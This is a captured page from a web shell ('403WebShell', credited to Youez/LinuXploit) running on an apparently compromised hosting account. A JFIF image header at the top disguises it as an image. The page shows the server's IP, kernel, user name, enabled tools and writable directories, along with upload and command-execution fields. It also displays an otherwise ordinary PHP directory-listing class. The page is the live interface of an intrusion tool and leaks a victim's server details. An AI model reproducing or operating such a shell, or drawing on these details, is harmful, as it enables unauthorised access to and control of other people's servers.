����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.142.43.181
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/greatlifehub.ng/glfiles.name.ng/app/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/greatlifehub.ng/glfiles.name.ng/app/services/FileSystem.class.php
<?php

namespace App\Services;

class FileSystem
{
    protected $base = null;

    protected function real($path)
    {
        $temp = realpath($path);
        if(!$temp)
        {
            throw new Exception('Path does not exist: ' . $path);
        }
        if($this->base && strlen($this->base))
        {
            if(strpos($temp, $this->base) !== 0)
            {
                throw new Exception('Path is not inside base (' . $this->base . '): ' . $temp);
            }
        }
        return $temp;
    }

    protected function path($id)
    {
        $id = str_replace('/', DIRECTORY_SEPARATOR, $id);
        $id = trim($id, DIRECTORY_SEPARATOR);
        $id = $this->real($this->base . DIRECTORY_SEPARATOR . $id);
        return $id;
    }

    protected function id($path)
    {
        $path = $this->real($path);
        $path = substr($path, strlen($this->base));
        $path = str_replace(DIRECTORY_SEPARATOR, '/', $path);
        $path = trim($path, '/');
        return strlen($path) ? $path : '/';
    }
    
    public function __construct($base)
    {
        $this->base = $this->real($base);
        if(!$this->base)
        {
            throw new Exception('Base directory does not exist');
        }
    }

    public function lst($id, $with_root = false)
    {
        $dir = $this->path($id);
        $lst = @scandir($dir);
        if(!$lst)
        {
            throw new Exception('Could not list path: ' . $dir);
        }
        $res = [];
        foreach($lst as $item)
        {
            if($item == '.' || $item == '..' || $item === null)
            {
                continue;
            }
            
            // skip any which aren't readable
            if(!is_readable($dir . DIRECTORY_SEPARATOR . $item))
            {
                continue;
            }
            if(is_dir($dir . DIRECTORY_SEPARATOR . $item))
            {
                $res[] = array('text' => $item, 'children' => true, 'id' => $this->id($dir . DIRECTORY_SEPARATOR . $item), 'icon' => 'folder');
            }
            else
            {
                // skip files
                continue;
                //$res[] = array('text' => $item, 'children' => false, 'id' => $this->id($dir . DIRECTORY_SEPARATOR . $item), 'type' => 'file', 'icon' => 'file file-' . substr($item, strrpos($item, '.') + 1));
            }
        }
        if($with_root && $this->id($dir) === '/')
        {
            $res = array(array('text' => basename($this->base), 'children' => $res, 'id' => '/', 'icon' => 'folder', 'state' => array('opened' => true, 'disabled' => true)));
        }
        return $res;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit